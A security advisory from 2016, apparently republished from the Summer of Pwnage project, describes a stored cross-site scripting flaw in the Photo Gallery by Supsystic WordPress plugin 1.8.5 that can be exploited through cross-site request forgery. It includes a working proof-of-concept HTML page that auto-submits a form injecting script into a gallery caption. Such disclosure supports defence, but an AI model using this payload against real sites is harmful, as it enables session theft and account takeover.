WordPress Photo Gallery 1.8.5 Cross Site Scripting
Posted on 16 August 2016
------------------------------------------------------------------------ Stored Cross-Site Scripting vulnerability in Photo Gallery WordPress Plugin ------------------------------------------------------------------------ Umit Aksu, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Photo Gallery by Supsystic WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160722-0004 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Photo Gallery by Supsystic WordPress Plugin version 1.8.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Photo Gallery by Supsystic version 1.8.6. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_photo_gallery_wordpress_plugin.html It is possible to deliver a Cross-Site Scripting attack through Cross-Site Request Forgery. The caption text in the gallery is vulnerable to a stored Cross-Site Scripting. The Cross-Site Scripting attack is normaly only exploitable if the attacker has admin privileges. However, no measures are implemented to protect against Cross-Site Request Forgery on the request that saves the image details. Due to this, it is possible to exploit this issue via Cross-Site Request Forgery. Proof of concept <html> <body> <form method="post" action="http://<target>/wp-admin/admin-ajax.php"> <input type="hidden" name="caption" value='this is the caption"><script>alert("Fromfff CSRF to XSS!");</script>'> <input type="hidden" name="captionEffect" value="quarter-slide-up"> <input type="hidden" name="description" value=""> <input type="hidden" name="alt" value="Capture"> <input type="hidden" name="link" value=""> <input type="hidden" name="cropPosition" value="center-center"> <input type="hidden" name="replace_attachment_id" value=""> <input type="hidden" name="image_id" value="13"> <input type="hidden" name="attachment_id" value="10"> <input type="hidden" name="gallery_id" value="6"> <input type="hidden" name="action" value="grid-gallery"> <input type="hidden" name="route[module]" value="photos"> <input type="hidden" name="route[action]" value="updateAttachment"> </form> <script> document.forms[0].submit(); </script> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
